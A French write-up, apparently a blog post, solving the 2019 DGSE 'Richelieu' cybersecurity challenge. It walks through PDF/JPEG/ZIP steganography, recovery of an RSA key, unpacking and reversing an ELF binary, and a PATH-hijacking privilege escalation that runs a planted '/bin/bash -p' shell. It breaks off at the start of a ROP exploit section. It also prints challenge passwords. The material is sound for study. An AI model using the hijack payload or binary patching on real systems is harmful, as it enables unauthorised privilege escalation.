En 2019, la DGSE (Direction Générale de la Sécurité Extérieure) a créé un challenge de cybersécurité à résoudre en 3 semaines. Le challenge contenait plusieurs épreuves de web, stéganographie, cryptographie, programmation, reverse-engineering, pwn et système (escalade de privilèges).
Dates : 21/05/2019 – 14/06/2019
Lien : https://www.challengecybersec.fr/
Fichiers du challenge
Lien de téléchargement : https://mega.nz/#F!qC4giapK!m9kWkmna_dUhNQO4W3cJdQ
a0bf3ba00d839937266c4adadea9b3bedc9fda4978c8358c77c071c5f2a03052 defi1
ad19d1008423f26779dda1290aeb8fc3aa1a238c26098a92e31a92bd8c7e97ff defi2
f5ba445040554abbab6b8208942d78f4939018e84e5c86fe327ee464cff54ad3 defi3
55bf0074ef24c4683ed69f4d94a1b4e6062b497464fe5b84cf0f7bcd059e92f4 Richelieu.pdf
TL;DR
Le lien du challenge donnait le chemin d'un fichier PDF contenant une image encodée en base64 et cachée en blanc sur blanc dans le fichier. Dans cette image, à la suite des données JPG, on pouvait trouver et récupérer les données d'une archive ZIP.
L'archive (1) contenait une image chiffré symétriquement avec GPG. Un fichier texte contenant la clé GPG était chiffré en RSA-4096. Une des facteurs premiers de la clé RSA avait été sauvegardé dans un fichier texte et avait subi plusieurs permutations. Il a donc fallu inverser les permutations (programme récursif ou bibliothèque python exrex
). Une fois la clé GPG récupérée, il était possible de déchiffrer l'image qui contenait le dump hexadécimal d'un binaire ELF caché en LSB.
Le binaire packé vérifiait un mot de passe en argument qui était stocké en dur et XORé dans la mémoire. Ce mot de passe a servi à extraire le contenu d'une archive ZIP (2) contenue dans la première archive (1).
L'archive (2) contenait un accès SSH defi1
. Une escalade de privilèges par PATH hijacking permettait de lire un fichier donnant les accès SSH à un defi2
.
Une exploitation d'un binaire SETUID vulnérable à un stack-based buffer overflow et ROP permettait de trouver le contenu d'un fichier donnant les accès SSH à un defi3
.
Une exploitation d'un binaire SETUID vulnérable à un heap-based buffer overflow et Use After Free permettait de lire le fichier final contenant un mot de passe et une adresse mail de contact de la DGSE.
Sommaire
- DGSE Challenge
- Fichiers du challenge
- Sommaire
- TL;DR
- Web : code source
- Stéganographie : PDF → JPG → ZIP
- Cryptographie : RSA + GPG
- 1 → 5 Génération de la clé privée
- 6. Déchiffrement RSA
- 7. Déchiffrement GPG
- Stéganographie : LSB
- Extraction de la charge utile
- Reverse-Engineering
- Unpack ALD
- Unpack UPX
- Analyse statique
- Analyse dynamique
- Opérations inverses
- Unzip
suite.zip
- Privesc système : PATH Hijacking (defi1)
- Utilisation normale
- Exploitation
- Privesc pwn : ROP (defi2)
- Utilisation normale
- Exploitation
- Privesc pwn : Use After Free (defi3)
- Utilisation normale
- Exploitation
Pardon pour ce sommaire bien long, vous irez vous plaindre à la DGSE pour la longueur du challenge 😉
Web : code source
Le code source de la page contient un bout de script JS qui indique le chemin d'un fichier PDF.
$ curl https://www.challengecybersec.fr/ | tidy
[...]
let password = "nothing";
if (login === password) {
document.location="./Richelieu.pdf";
}
[...]
$ wget https://www.challengecybersec.fr/Richelieu.pdf
Stéganographie : PDF → JPG → ZIP
Le fichier PDF contient du texte écrit en blanc sur blanc. Ce texte est une image JPEG encodée en base64.
$ wget https://www.challengecybersec.fr/Richelieu.pdf
$ pdftotext Richelieu.pdf
$ base64 -di Richelieu.txt > Richelieu
$ file Richelieu
Richelieu.jpg: JPEG image data, progressive, precision 8, 2110x3508, components 1
$ mv Richelieu Richelieu.jpg
Une archive ZIP a été cachée dans l'image (concaténation simple). Détection par les magic bytes.
$ hachoir-subfile Richelieu.jpg
[+] Start search on 6693178 bytes (6.4 MB)
[+] File at 445628 size=6247550 (6.0 MB): ZIP archive
[+] End of search -- offset=6693178 (6.4 MB)
On extrait cette archive avec l'outil Foremost
.
$ foremost Richelieu.jpg
$ strings output/zip/00000870.zip
[...]
Le mot de passePK
suite.zipUT
de cette archivePK
prime.txtUT
est : DGSE{t.D=@Bx^A%n9FQB~_VL7Zn8z=:K^4ikE=j0EGHqI}PK
public.keyUT
[...]
$ mkdir archive
$ unzip -P "DGSE{t.D=@Bx^A%n9FQB~_VL7Zn8z=:K^4ikE=j0EGHqI}" output/zip/00000870.zip -d archive
Cryptographie : RSA + GPG
L'archive contient plusieurs fichiers dont un suite.zip
. Nous allons ici devoir trouver le mot de passe de cette archive pour continuer le challenge.
$ tree
.
├── lsb_RGB.png.enc
├── motDePasseGPG.txt.enc
├── prime.txt
├── public.key
└── suite.zip
$ cat .bash_history
1337 gpg -o lsb_RGB.png.enc --symmetric lsb_RGB.png
1338 vim motDePasseGPG.txt
1339 openssl genrsa -out priv.key 4096
1340 openssl rsa -pubout -out public.key -in priv.key
1341 openssl rsa -noout -text -in priv.key | grep prime1 -A 18 > prime.txt
1342 sed -i 's/7f/fb/g' prime.txt
1343 sed -i 's/e1/66/g' prime.txt
1344 sed -i 's/f4/12/g' prime.txt
1345 sed -i 's/16/54/g' prime.txt
1346 sed -i 's/a4/57/g' prime.txt
1347 sed -i 's/b5/cd/g' prime.txt
1348 openssl rsautl -encrypt -pubin -inkey public.key -in motDePasseGPG.txt -out motDePasseGPG.txt.enc
L'historique bash
nous permet de comprendre les choses suivantes
1. Le mot de passe a probablement été cachée avec une technique de stéganographie sur une image png (Least Significant Bit)
2. Cette image a été chiffrée en symétrique (GPG)
3. Le mot de passe utilisé a été sauvegardé dans un fichier
4. Un couple de clés RSA 4096 a été généré
5. Un de facteurs premiers du module a été sauvegardé et a subi quelques permutations
6. Le fichier contenant la clé GPG a été chiffré avec la clé publique
Nous allons donc devoir faire les opérations suivantes 1. Inverser les permutations pour récupérer les 2048 possibilités du facteur premier 2. Trouver le bon 3. Récupérer le module et l'exposant dans la clé publique 4. Trouver (par division) le second facteur 5. Générer la clé privée 6. Déchiffrer le fichier motDePasseGPG.txt.enc avec la clé privée 7. Déchiffrer le fichier lsb_RGB.png.enc avec la clé GPG obtenue
1 → 5 Génération de la clé privée
Méthode 1 : récursivité
Lors des sed -i
, on plusieurs permutations a → b
mais finalement, ça ne veut pas dire que tous les b
étaient des a
. On va donc devoir faire une sorte de bruteforce.
Pour chaque b
présent dans le prime.txt
, on doit considérer la possibilité qu'il ait pu être anciennement un a
ou non.
Soit k
le nombre d'apparitions de b
dans prime.txt
.
Pour chaque b
, on a deux issues possibles : substituer en a
ou conserver b
Pour 6 substitutions différentes (notre cas), il faut calculer les apparitions de chaque b
et faire la somme. Dans notre cas on a 4*'fb' + 0*'66' + 1*'12' + 1*'54' + 3*'57' + 2*'cb'
soit un total de 11 substitutions potentielles. On a alors 2048 possibilités différentes pour prime1
.
On peut alors écrire le script suivant pour retrouver prime1
.
from Crypto.PublicKey import RSA
import os
file = open('public.key', 'r')
public_key = RSA.importKey(file.read())
file.close()
modulus = public_key.n
public_exponent = public_key.e
encoded_prime1 = '00:fb:40:dc:44:ba:03:d1:53:42:f7:59:08:e0:f9:30:05:96:64:4a:de:94:68:5e:08:e2:8c:9a:b1:64:0c:2f:62:c2:9a:b9:a2:39:82:4b:9e:be:eb:76:ae:6d:87:21:a3:5e:9e:d9:8d:7e:57:38:3e:59:09:34:a5:78:cd:f7:2e:89:5d:5c:37:52:ea:fd:f6:31:cc:ba:d2:d9:60:e4:45:1d:67:76:d2:1f:12:9c:9d:c9:b1:90:45:51:ed:d2:fb:dd:b6:74:b4:99:fb:b1:0a:d9:b7:c2:be:8b:57:07:22:0a:8e:3a:36:ff:6d:c1:1d:63:93:af:cb:4e:c0:47:9f:65:bf:df:e3:f0:5f:1e:98:61:45:74:ec:36:a7:a5:b1:f1:8d:3d:97:6b:5a:82:49:09:00:08:0d:9d:c2:74:57:4e:30:a1:39:68:2f:22:34:71:13:aa:3b:f2:20:4f:8e:10:eb:d4:d0:9b:cd:8c:c2:53:5f:9d:71:13:0c:0f:21:b6:6e:13:39:40:d3:a6:b1:eb:74:ad:dd:0a:29:14:81:b1:90:ad:e0:53:f0:89:c8:00:fe:dc:ad:56:59:fc:28:1d:c0:cf:5e:08:c0:54:33:24:a3:52:bb:f3:25:10:43:c3:73:b8:40:4f:fc:6b:6b:77:bd:5f:22:24:eb:fb:15'
sed = {
'fb':'7f',
'66':'e1',
'12':'f4',
'54':'16',
'57':'a4',
'cd':'b5'
}
def my_replace(a, b, i):
a = list(a)
a[i] = b[0]
a[i + 1] = b[1]
return "".join(a)
def reverse_sed(a, i):
global sed
global y
if i < len(y):
z = y[i]
if a[ z : z + 2 ] in sed:
tmp = my_replace(a, sed[a[z:z+2]], z)
tmp_dec = int(tmp.replace(':',''), 16)
if modulus % tmp_dec == 0:
print("[+] modulus: " + str(modulus))
print("[+] pub.exp: " + str(public_exponent))
print("[+] prime1 : " + str(tmp_dec))
print("[+] prime2 : " + str(modulus // tmp_dec))
os.system("/opt/RsaCtfTool/RsaCtfTool.py -n " + str(modulus) + " -p " + str(tmp_dec) + " -q " + str(modulus // tmp_dec) + " -e " + str(public_exponent) + " --private > priv.key")
print("[+] Private key generated...")
quit()
right = reverse_sed(tmp, i+1)
else:
right = reverse_sed(a, i+1)
left = reverse_sed(a, i+1)
y = []
for z in range(len(encoded_prime1)):
if encoded_prime1[z:z+2] in sed:
y.append(z)
reverse_sed(encoded_prime1, 0)
On fait d'une pierre deux coups, une fois le facteur trouvé, on a tous les paramètres nécessaires pour générer la clé privée avec la commande suivante (déjà dans le script).
$ rsactftool -n <modulus> -p <prime1> -q <prime2> -e <public_exponent> --private > priv.key
On fait tourner le script.
$ python3 gen_priv_key.py
[+] modulus: 837849563862443268467145186974119695264713699736869090645354954749227901572347301978135797019317859500555501198030540582269024532041297110543579716921121054608494680063992435808708593796476251796064060074170458193997424535149535571009862661106986816844991748325991752241516736019840401840150280563780565210071876568736454876944081872530701199426927496904961840225828224638335830986649773182889291953429581550269688392460126500500241969200245489815778699333733762961281550873031692933566002822719129034336264975002130651771127313980758562909726233111335221426610990708111420561543408517386750898610535272480495075060087676747037430993946235792405851007090987857400336566798760095401096997696558611588264303087788673650321049503980655866936279251406742641888332665054505305697841899685165810087938256696223326430000379461379116517951965921710056451210314300437093481577578273495492184643002539393573651797054497188546381723478952017972346925020598375000908655964982541016719356586602781209943943317644547996232516630476025321795055805235006790200867328602560320883328523659710885314500874028671969578391146701739515500370268679301080577468316159102141953941314919039404470348112690214065442074200255579004452618002777227561755664967507
[+] pub.exp: 65537
[+] prime1 : 31717798413454838971739311391870214101486054474438584033384974797696836002786889741922328038249283935148167589396475764515984792248325276562635675483085593307632384945480084324354199386711259069590701728377654610059849152461565385315663116675949927841648944186909571007960100266136674008112969369512988507367569334838093403144731951113528040013763615354283491955226704334394856253005551393545293491547587439064269735583121706098798182168292621767902095641352443871167789104818694502605762517497996162527138366803593402358312011933528177646501311411008602369245268966975849244259437732574655956250792264392115994984213
[+] prime2 : 26415754111957012456882978698568998595543408604540679602012008905307229528398419508696699258861541673208334031720118065722015191735056250991124159829757615035331104814626815428071461389740988358621575175288995137250131479702118666935818278843603742157096854979085966659730153703721295913600711482578441198179188796849780101926878867272222747848775311501107737838687624647749187764563156054858429897018261077616060929102880860789449995240869652963349913062375402021334173237153511868665597034141167420444312865576543827395764456254276820652449103574192677537410783040227047254038577626347718324544296319787177388746439
[+] Private key generated : priv.key
Méthode 2 : la bibliothèque exrex
Petite astuce trouvée par Oik=, la bibliothèque exrex
permettant de générer la liste de prime1
possibles très simplement.
La fin du script est la même que pour la Méthode 1.
from Crypto.PublicKey import RSA
import os
import exrex
file = open('public.key', 'r')
public_key = RSA.importKey(file.read())
file.close()
modulus = public_key.n
public_exponent = public_key.e
possible_primes = list(exrex.generate('00(7f|fb)40dc44ba03d15342f75908e0f9300596644ade94685e08e28c9ab1640c2f62c29ab9a239824b9ebeeb76ae6d8721a35e9ed98d7e(a4|57)383e590934a578(b5|cd)f72e895d5c3752eafdf631ccbad2d960e4451d6776d21f(f4|12)9c9dc9b1904551edd2(7f|fb)ddb674b499(7f|fb)b10ad9b7c2be8b(a4|57)07220a8e3a36ff6dc11d6393afcb4ec0479f65bfdfe3f05f1e98614574ec36a7a5b1f18d3d976b5a82490900080d9dc274(a4|57)4e30a139682f22347113aa3bf2204f8e10ebd4d09b(b5|cd)8cc2535f9d71130c0f21b66e133940d3a6b1eb74addd0a291481b190ade053f089c800fedcad5659fc281dc0cf5e08c0(16|54)3324a352bbf3251043c373b8404ffc6b6b77bd5f2224eb(7f|fb)15'))
for possible_prime in possible_primes:
tmp_prime = int(possible_prime, 16)
if modulus % tmp_prime == 0:
print("[+] modulus: " + str(modulus))
print("[+] pub.exp: " + str(public_exponent))
print("[+] prime1 : " + str(tmp_prime))
print("[+] prime2 : " + str(modulus // tmp_prime))
os.system("/opt/RsaCtfTool/RsaCtfTool.py -n " + str(modulus) + " -p " + str(tmp_prime) + " -q " + str(modulus // tmp_prime) + " -e " + str(public_exponent) + " --private > priv.key")
print("[+] Private key generated...")
quit()
6. Déchiffrement RSA
$ openssl rsautl -decrypt -in motDePasseGPG.txt.enc -out motDePasseGPG.txt -inkey priv.key
$ cat motDePasseGPG.txt
DGSE{Ti,%yei3=stlh_,5@pIrrMU.^mJC:luYbt1Qe_-Y}
7. Déchiffrement GPG
$ gpg -o lsb_RGB.png --passphrase-file motDePasseGPG.txt -d lsb_RGB.png.enc
On obtient l'image suivante.
Stéganographie : LSB
Extraction de la charge utile
On peut utiliser l'outil de stéganographie zsteg
sur l'image pour essayer de repérer des patterns inscrit avec la technique du Least Significant Bit.
$ zsteg -a lsb_RGB.png
imagedata .. text: "/>/6&,Z6<&"
[...]
b1,r,msb,yx .. text: "FF@bBBB@BBB"
b1,b,msb,yx .. text: "\t\t\tASSSSS\t\tI\t\t\t"
b1,rgb,lsb,yx .. text: "00000000: 7f45 4c46 0201 0103 0000 0000 0000 0000 .ELF............\n00000010: 0200 3e00 0100 0000 107f 4400 0000 0000 ..>.......D.....\n00000020: 4000 0000 0000 0000 0000 0000 0000 0000 @...............\n00000030: 0000 0000 4000 3800 0200 4000 0000 0000 ."
b1,rgb,msb,yx .. text: "2bttttttttttttP"
[...]
Pour b1,rgb,lsb,yx
, on remarque ce qui semble être le début d'un output d'un dump hexa sur un binaire ELF.
$ zsteg lsb_RGB.png -E b1,rgb,lsb,yx > step1_binary.txt
On peut ensuite éditer le fichier obtenu, enlever le trop d'information inutile et convertir le dump hexa pour obtenir le binaire de départ.
$ nano step1_binary.txt
$ head step1_binary.txt
00000000: 7f45 4c46 0201 0103 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 107f 4400 0000 0000 ..>.......D.....
00000020: 4000 0000 0000 0000 0000 0000 0000 0000 @...............
00000030: 0000 0000 4000 3800 0200 4000 0000 0000 ....@.8...@.....
00000040: 0100 0000 0500 0000 0000 0000 0000 0000 ................
00000050: 0000 4000 0000 0000 0000 4000 0000 0000 ..@.......@.....
00000060: 2487 0400 0000 0000 2487 0400 0000 0000 $.......$.......
00000070: 0000 2000 0000 0000 0100 0000 0600 0000 .. .............
00000080: 2854 0b00 0000 0000 2854 6b00 0000 0000 (T......(Tk.....
00000090: 2854 6b00 0000 0000 0000 0000 0000 0000 (Tk.............
$ xxd -r step1_binary.txt > step1_binary
$ md5sum step1_binary step1_binary.txt
b085579e21b6b29eb6c80cee3a253775 step1_binary
432592312e50f8d35d20e2f0790b7762 step1_binary.txt
Reverse-Engineering
Unpack ALD
$ file step1_binary
binary: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header
$ strings -n 15 step1_binary
[...]
$Info: This file is packed with the ALD executable packer http://upx.sf.net $
$Id: ALD 3.91 Copyright (C) 1996-2013 the ALD Team. All Rights Reserved. $
[...]
D'après quelques strings dans le binaire, il semblerait qu'il soit packé. Ça paraît cohérent avec les erreurs que donne Ghidra lors de l'analyse.
Il s'agirait du packer ALD 3.91 (cf. source).
$ wget https://github.com/upx/upx/releases/download/v3.91/upx-3.91-amd64_linux.tar.bz2
$ cd ../upx-3.91-amd64_linux/
$ ./upx -d ../step1_binary
[...]
upx: ../step1_binary: NotPackedException: not packed by UPX
Unpacked 0 files.
Il est indiqué que le binaire n'a pas été packé avec l'utilitaire d'UPX. Les strings disent pourtant le contraire. Voyons quelle est la forme d'un binaire packé avec cet utilitaire.
$ cp /bin/ls .
$ upx ls
[...]
138856 -> 61540 44.32% linux/amd64 ls
Packed 1 file.
$ strings -n 15 ls
[...]
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
[...]
Il semblerait qu'une substitution UPX → ALD
ait été faite.
Unpack UPX
$ sed -i 's/ALD/UPX/g' ../step1_binary
$ upx -d ../step1_binary
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2018
UPX 3.95 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018
File size Ratio Format Name
-------------------- ------ ----------- -----------
738384 <- 297492 40.29% linux/amd64 step1_binary
Unpacked 1 file.
Analyse statique
Une fois le binaire dépacké, on le charge dans radare2
.
On commence par décompiler la fonction main
. Il se contente d'afficher l'usage, "Bien joué" si le flag est bon et "Mauvais mot de passe" sinon.
La vérification du mot de passe entré semble se faire via une fonction sub.w0c__:_400aae
.
La fonction semble effectuer un XOR sur une chaîne. Il pourrait s'agir du flag.
[0x00400990]> px 32 @0x4898c0
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x004898c0 7730 6326 5d3a 0e3b 0d4d 2a1f 2e1f 2d4f w0c&]:.;.M*...-O
0x004898d0 2851 377a 1476 2078 0f21 4d21 6c11 002e (Q7z.v x.!M!l...
[0x00400990]>
Analyse dynamique
On remarque que l'instruction XOR est précédée, et succédée de deux instructions CMP (comparaison). Nous allons tenter de comprendre le fonctionnement du programme pour retrouver le flag.
$ r2 -d -A step1_binary test
> afl
//Liste des fonctions
0x00400990 1 43 entry0
0x00400aae 9 114 sub.w0c__:_400aae
0x00400b20 6 83 main
0x00401080 66 828 fcn.00401080
0x00407840 3 158 fcn.00407840
0x00408010 30 445 -> 417 fcn.00408010
0x004440f0 296 11505 -> 7157 sub.n_in_writable_segment_detected_4440f
> pdf @ main
//Fonction 'main' désassemblée
/ (fcn) main 83
| main (int argc, char **argv, char **envp);
| ; arg int argc @ rdi
| ; arg char **argv @ rsi
| ; DATA XREF from entry0 (0x4009ad)
| 0x00400b20 53 push rbx
| 0x00400b21 83ff01 cmp edi, 1 ; 1 ; argc
| ,=< 0x00400b24 7e1f jle 0x400b45
| | 0x00400b26 488b7e08 mov rdi, qword [rsi + 8] ; [0x8:8]=-1 ; 8 ; argv
| | 0x00400b2a e87fffffff call sub.w0c__:_400aae
| | 0x00400b2f 89c3 mov ebx, eax
[...]
La première comparaison semble vérifier la taille du mot de passe entré. Pour contourner la vérification et ne pas se préoccuper de la taille du flag, on peut changer l'instruction JE (Jump if Equal) en JNE (l'instruction contraire : Jump if Not Equal).
$ r2 -d -A -w ste1_binary aaaa
> pdf @ sub.w0c__:_400aae
//Fonction 'sub.w0c__:_400aae' désassemblée
[...]
> pdf @ sub.w0c__:_400aae
/ (fcn) sub.w0c__:_400aae 114
| sub.w0c__:_400aae (int arg1);
| ; arg int arg1 @ rdi
| ; CALL XREF from main (0x400b2a)
| 0x00400aae 4889fe mov rsi, rdi ; arg1
| 0x00400ab1 b800000000 mov eax, 0
| 0x00400ab6 48c7c1ffffff. mov rcx, -1
| 0x00400abd f2ae repne scasb al, byte [rdi]
| 0x00400abf b800000000 mov eax, 0
| 0x00400ac4 4883f9e0 cmp rcx, -0x20
| ,=< 0x00400ac8 7402 je 0x400acc
| | ; CODE XREF from sub.w0c__:_400aae (0x400b1e)
[...]
> wa jne 0x400acc @ 0x00400ac8
Written 2 byte(s) (jne 0x400acc) = wx 7502
On peut maintenant placer un point d'arrêt (breakpoint) sur l'instruction XOR et exécuter le programme.
> db 0x00400b0d
//Breakpoint à l adresse du XOR
> dc
//Continuer l exécution
hit breakpoint at: 400b0d
> dr ecx
//Afficher le contenu du registre ECX
0x00000052
> dr esi
//Afficher le contenu du registre ESI
0x00000033
Le programme a atteint le point d'arrêt, on a donc contourné la première comparaison.
Le premier caractère de notre entrée est XORé à 0x33
. On peut maintenant terminer l'exécution, la relancer, placer un second point d'arrêt à la comparaison suivant le XOR, et voir la valeur attendue.
> ood aaaa
> wa jne 0x400acc @ 0x00400ac8
Written 2 byte(s) (jne 0x400acc) = wx 7502
> db 0x00400b0d 0x00400b0f
> dc
hit breakpoint at: 400b0d
> dr esi
//Clé pour le XOR
0x00000033
> dr ecx
//Premier char de l entrée à XORer
0x00000061
> dc
hit breakpoint at: 400b0f
> dr cl
//CL est la partie basse de RCX, résultat du XOR
0x00000052
> px 1 @ rdx
//Valeur attendue
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x004898c0 77 w
Le résultat attendu est w (0x77)
et la clé de XOR est 3 (0x33)
. Le premier caractère est donc D (0x44)
.
$ print -c 'print chr(0x77 ^ 0x33)'
D
Voyons quelle est la seconde clé de XOR et le caractère attendu.
> ood Daaaa
> wa jne 0x400acc @ 0x00400ac8
Written 2 byte(s) (jne 0x400acc) = wx 7502
> db 0x00400b0d 0x00400b0f
> dc
hit breakpoint at: 400b0d
> dc
hit breakpoint at: 400b0f
> dc
hit breakpoint at: 400b0d
> dr esi
//Clé pour le XOR du second passage
0x00000077
> dr ecx
//Second char de l entrée à XORer
0x00000061
> dc
hit breakpoint at: 400b0f
> dr cl
//Résultat du 2nd XOR
0x00000016
> px 1 @ rdx
//Valeur attendue
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x004898c1 30 0
Au XOR on s'aperçoit que le premier caractère de l'entrée est XORé avec 0x33
soit 3
en ASCII.
Au CMP on voit que la comparaison est faite entre le premier caractère de la chaîne w0c&...
et le résultat du xor précédent.
Au second XOR, le second caractère de notre input est XORé avec w
, soit le premier caractère du flag XORé w0c&...
.
On peut donc supposer que pour un XOR i
, le caractère i
de notre entrée est XORé avec le caractère i-1
de la chaîne w0c&...
.
Opérations inverses
On en sait suffisamment pour créer le script suivant qui XOR la chaîne w0c&...
avec les bonnes valeurs afin de retrouver le flag.
from binascii import unhexlify
xored_flag = unhexlify("773063265d3a0e3b0d4d2a1f2e1f2d4f2851377a147620780f214d216c11002e")
print("[+] xored_flag : " + str(xored_flag))
k = 0x33
flag = ""
for xored_char in xored_flag:
flag += chr(k ^ xored_char)
k = xored_char
print("[+] flag : " + flag)
$ python3 solve.py
[+] xored_flag : b'w0c&]:\x0e;\rM*\x1f.\x1f-O(Q7z\x14v x\x0f!M!l\x11\x00.'
[+] flag : DGSE{g456@g5112bgyfMnbVXw.llM}.
Unzip suite.zip
Le mot de passe de l'archive suite.zip
est donc DGSE{g456@g5112bgyfMnbVXw.llM}. On peut récupérer le contenu suivant.
$ unzip -P "DGSE{g456@g5112bgyfMnbVXw.llM}" suite.zip
Archive: suite.zip
inflating: suite.txt
$ cat suite.txt
Suite du challenge Richelieu :
ssh defi1.challengecybersec.fr -l defi1 -p 2222
mot de passe : DGSE{2f77c517b06f1cd1ce864f79f41f25ca8874413c8c1204f7ec9c6728c87f270a}
On obtient des accès SSH pour un utilisateur defi1 sur la machine defi1.challengecybersec.fr
.
Privesc système : PATH Hijacking (defi1)
En se connectant en ssh
avec le mot de passe DGSE{2f77c517b06f1cd1ce864f79f41f25ca8874413c8c1204f7ec9c6728c87f270a}, on arrive sur le répertoire home
de defi1
. Voici les fichiers présents :
$ id
uid=1000(defi1) gid=1000(defi1) groups=1000(defi1)
$ pwd
/home/defi1
$ ls -alh
total 44K
drwxr-xr-x 1 defi1 defi1 4.0K May 10 10:50 .
drwxr-xr-x 1 root root 4.0K May 10 10:50 ..
-rw-r--r-- 1 defi1 defi1 220 May 15 2017 .bash_logout
-rw-r--r-- 1 defi1 defi1 3.5K May 15 2017 .bashrc
-rw-r--r-- 1 defi1 defi1 32 May 10 10:50 .gdbinit
-rw-r--r-- 1 defi1 defi1 675 May 15 2017 .profile
-rw-r--r-- 1 defi1 defi1 7 May 10 10:50 .vimrc
-r-------- 1 defi1-drapeau defi1-drapeau 133 Apr 26 14:06 drapeau.txt
-r-sr-sr-x 1 defi1-drapeau defi1-drapeau 8.6K May 10 10:50 prog.bin
On remarque que le binaire prog.bin
est setuid. Lors de son exécution, il prendra les droits de son utilisateur propriétaire defi1-drapeau
.
Utilisation normale
$ ./prog.bin
#################################################
## Bienvenue dans ce lanceur (_wrapper_) ##
#################################################
Ce logiciel vous permet de lancer ces programmes utiles simplement...
Menu :
-> 1 : Affichage de la date et de l heure actuelle
-> 2 : Affichage du nombre de secondes écoulées depuis le 01/01/1970 (Epoch)
-> 3 : Affichage du train
-> 4 : Affichage du calendrier du mois en cours
// Option 1
Nous sommes le 24/05/2019 et il est 07:58:37
// Option 2
Nombre de secondes depuis Epoch : 1558684722
// Option 3
// On a un petit train
// Option 4
May 2019
Su Mo Tu We Th Fr Sa
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Exploitation
L'outil de débogage ltrace
est disponible sur la machine.
Pour la première option du programme prog.bin
, le programme effectue un appel à system('date <param>')
. Un appel à date
(ou autre binaire) sans indiquer de chemin absolu va reposer sur la variable d'environnement PATH
pour trouver le binaire en question. Si nous avons la possibilité de changer cette variable, alors nous pouvons faire exécuter un programme malveillant à la place de date
.
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
$ export PATH=/tmp/shutdown:$PATH
$ echo $PATH
/tmp/shutdown:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
Nous pouvons bel et bien faire du PATH hijacking puisque nous maîtrisons cette variable d'environnement. On crée donc un répertoire /tmp/shutdown
(qu'on ajoute audébut de la variable PATH
) contenant un fichier date.c
.
$ mkdir /tmp/shutdown
$ cd /tmp/shutdown
$ nano date.c
L'objectif ici étant d'obtenir un shell avec les droits de defi1-drapeau
pour lire le fichier drapeau.txt
, nous créons le fichier date.c
suivant.
#include <stdio.h>
int main(void) {
system("/bin/bash -p");
return 0;
}
gcc
étant disponible sur la machine, nous pouvons compiler date.c
.
$ gcc -o date date.c
$ cd /home/defi1/
$ ./prog.bin
#################################################
## Bienvenue dans ce lanceur (_wrapper_) ##
#################################################
Ce logiciel vous permet de lancer ces programmes utiles simplement...
Menu :
-> 1 : Affichage de la date et de l heure actuelle
-> 2 : Affichage du nombre de secondes écoulées depuis le 01/01/1970 (Epoch)
-> 3 : Affichage du train
-> 4 : Affichage du calendrier du mois en cours
1
$ id
uid=1000(defi1) gid=1000(defi1) euid=1001(defi1-drapeau) egid=1001(defi1-drapeau) groups=1001(defi1-drapeau)
$ cat drapeau.txt
Suite du challenge Richelieu :
ssh defi2.challengecybersec.fr -l defi2 -p 2222
mot de passe : DGSE{H#M?W)el{0YZ-)77/C#ogrp}k4&EbP}
L'escalade de privilèges est réussie, on peut passer à la suite avec le mot de passe DGSE{H#M?W)el{0YZ-)77/C#ogrp}k4&EbP}
Privesc pwn : ROP (defi2)
En se connectant en ssh
, on arrive sur le répertoire home
de l'utilisateur defi2
.
$ id
uid=1000(defi2) gid=1000(defi2) groups=1000(defi2)
$ pwd
/home/defi2
$ ls -alh
total 44K
drwxr-xr-x 1 defi2 defi2 4.0K May 10 09:45 .
drwxr-xr-x 1 root root 4.0K May 10 09:45 ..
-rw-r--r-- 1 defi2 defi2 220 May 15 2017 .bash_logout
-rw-r--r-- 1 defi2 defi2 3.5K May 15 2017 .bashrc
-rw-r--r-- 1 defi2 defi2 32 May 10 09:45 .gdbinit
-rw-r--r-- 1 defi2 defi2 675 May 15 2017 .profile
-rw-r--r-- 1 defi2 defi2 7 May 10 09:45 .vimrc
-r-------- 1 defi2-drapeau defi2-drapeau 133 Apr 26 14:05 drapeau.txt
-r-sr-sr-x 1 defi2-drapeau defi2-drapeau 11K May 10 09:45 prog.bin
À nouveau, nous avons un fichier drapeau.txt
lisible par le propriétaire defi2-drapeau
ainsi qu'un binaire exécutable setuid prenant les droits de son propriétaire defi2-drapeau
lors de son exécution.
Utilisation normale
Lors de son exécution, le programme demande un couple login:password
et évalue la robustesse du mot de passe.
$ ./prog.bin
************************************************
** Vérification du couple login/mot de passe. **
************************************************
login $ shutdown
pass $ shutdown
[-] le mot de passe est compris dans le login (ou l'inverse)
[-] il n'y a pas de nombre
[-] il n'y a pas de majuscule
[-] il n'y a pas de caractère spécial
Pas bon. Il vaudrait mieux utiliser un autre couple login/mot de passe
Exploitation
État de l'art
Dans un premier temps, on remarque que l'exécutable est compilé pour une architecture 64 bits et que la pile (stack) est exécutable.
L'ASLR (Address Space Layout Randomization) est activée sur le système. C'est une technique permettant de placer de façon aléatoire les zones de données dans la mémoire virtuelle.
$ ssh defi2.challengecybersec.fr -l defi2 -p 2222
[...]
$ file prog.bin
prog.bin: setuid, setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f7039455e0209df5f5eee33830212b3746b016e8, stripped
$ readelf -l prog.bin | grep -A 1 GNU_STACK
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
$ checksec prog.bin
[...]
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
$ cat /proc/sys/kernel/randomize_va_space
2
Stack-based Buffer overflow
Login : fgets()
Lors de l'exécution du programme, la fonction sub.login_40086d
est appelée.
